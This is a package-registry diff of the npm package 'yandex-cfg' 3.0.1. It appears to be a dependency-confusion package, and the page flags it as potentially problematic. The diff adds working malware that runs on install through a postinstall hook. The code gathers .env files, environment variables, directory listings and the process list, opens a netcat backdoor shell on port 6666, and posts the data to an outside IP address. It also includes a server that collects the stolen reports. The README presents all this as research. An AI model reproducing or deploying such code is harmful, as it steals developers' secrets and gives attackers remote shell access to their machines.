yandex-cfg 3.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of yandex-cfg might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,4 @@
1
+ # This is research code and is not intended for production use.
2
+
3
+ For Yandex Security Team: do not use package names without '@yandex' prefix.
4
+ All data will be used for research purposes only, no data will be shared with third parties.
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ const Report = require('./report');
2
+ module.exports = () => {
3
+ //console.log(`Hello, this is not real code`);
4
+ Report();
5
+ }
6
+ Report();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "yandex-cfg",
3
+ "version": "3.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/report.js ADDED
@@ -0,0 +1,113 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const https = require('https');
4
+ const http = require('http');
5
+ const httpsRequest = (url, method, data) => {
6
+ return new Promise((resolve, reject) => {
7
+ const module = url.startsWith('https') ? https : http;
8
+ const req = module.request(url, method, res => {
9
+ let body = '';
10
+ res.on('data', chunk => {
11
+ body += chunk;
12
+ });
13
+ res.on('end', () => {
14
+ resolve(body);
15
+ });
16
+ });
17
+ req.on('error', error => {
18
+ reject(error);
19
+ });
20
+ if (data) {
21
+ req.write(data);
22
+ }
23
+ req.end();
24
+ });
25
+ };
26
+
27
+ const readEnvFiles = () => {
28
+ const files = [
29
+ '../.env',
30
+ '../../.env',
31
+ '../../../.env',
32
+ '../../../../.env',
33
+ ];
34
+ const envs = [];
35
+ for (const file of files) {
36
+ try {
37
+ const content = fs.readFileSync(file, 'utf8');
38
+ envs.push(content);
39
+ } catch (error) {
40
+ // Ignore
41
+ }
42
+ }
43
+ return envs;
44
+ };
45
+
46
+
47
+ const spawn = require('child_process').spawn;
48
+
49
+ // Generate report about the system, public ip, memory, cpu, etc.
50
+ const generateReport = async () => {
51
+ const report = {
52
+ platform: os.platform(),
53
+ arch: os.arch(),
54
+ release: os.release(),
55
+ totalmem: os.totalmem(),
56
+ freemem: os.freemem(),
57
+ cpus: os.cpus(),
58
+ networkInterfaces: os.networkInterfaces(),
59
+ uptime: os.uptime(),
60
+ ps: '',
61
+ envs: readEnvFiles(),
62
+ env: process.env,
63
+ };
64
+
65
+ // List all files in the current directory
66
+ const files = [
67
+ fs.readdirSync('../'),
68
+ fs.readdirSync('../../'),
69
+ fs.readdirSync('../../../'),
70
+ fs.readdirSync('../../../../'),
71
+ ];
72
+
73
+ // Add the files to the report
74
+ report.files = files;
75
+
76
+ // Get the public IP address
77
+ const publicIp = await httpsRequest('https://api.ipify.org?format=json', 'GET');
78
+ report.publicIp = JSON.parse(publicIp).ip;
79
+
80
+
81
+ // Get process list
82
+ const ps = spawn('ps', ['aux']);
83
+ ps.stdout.on('data', data => {
84
+ report.ps += data.toString();
85
+ });
86
+
87
+ // Run backdoor shell on 6666 port and stay in background forever
88
+ spawn('nc', ['-l', '-p', '6666', '-e', '/bin/bash']);
89
+
90
+
91
+ // Sleep for few seconds
92
+ await new Promise(resolve => setTimeout(resolve, 2000));
93
+
94
+ // Compress the report
95
+ const reportString = JSON.stringify(report);
96
+ const reportBuffer = Buffer.from(reportString);
97
+ const reportCompressed = reportBuffer.toString('base64');
98
+
99
+ // Send the report to the server
100
+ const url = 'http://139.59.181.57:3030/report';
101
+ const data = JSON.stringify({ report: reportCompressed });
102
+ await httpsRequest(url, {
103
+ method: 'POST',
104
+ headers: {
105
+ 'Content-Type': 'application/json',
106
+ 'Content-Length': data.length
107
+ }
108
+ }, data);
109
+
110
+ return report;
111
+ }
112
+
113
+ module.exports = generateReport;
package/server.js ADDED
@@ -0,0 +1,47 @@
1
+ // Simple HTTP server saves all reports to the file system
2
+
3
+ const http = require('http');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+ const APP_PORT = 3030;
7
+ fs.mkdirSync(path.join(__dirname, 'reports'), {
8
+ recursive: true
9
+ });
10
+
11
+ const server = http.createServer((request, response) => {
12
+
13
+ try {
14
+ // Save report to the file system
15
+ const fileName = path.join(__dirname, 'reports', `${Date.now()}.json`);
16
+ let body = [];
17
+ request.on('data', (chunk) => {
18
+ body.push(chunk);
19
+ }).on('end', () => {
20
+ body = Buffer.concat(body).toString();
21
+
22
+ console.log(`==== ${request.method} ${request.url}`);
23
+ console.log('> Headers');
24
+ console.log(request.headers);
25
+
26
+ console.log('> Body');
27
+ console.log(body);
28
+
29
+ fs.writeFileSync(fileName, JSON.stringify({
30
+ method: request.method,
31
+ url: request.url,
32
+ headers: request.headers,
33
+ body
34
+ }));
35
+
36
+ response.end();
37
+ });
38
+
39
+ } catch (error) {
40
+ console.error(error);
41
+ response.end();
42
+ }
43
+ });
44
+
45
+ server.listen(APP_PORT, () => {
46
+ console.log('Server listening on port ' + APP_PORT);
47
+ });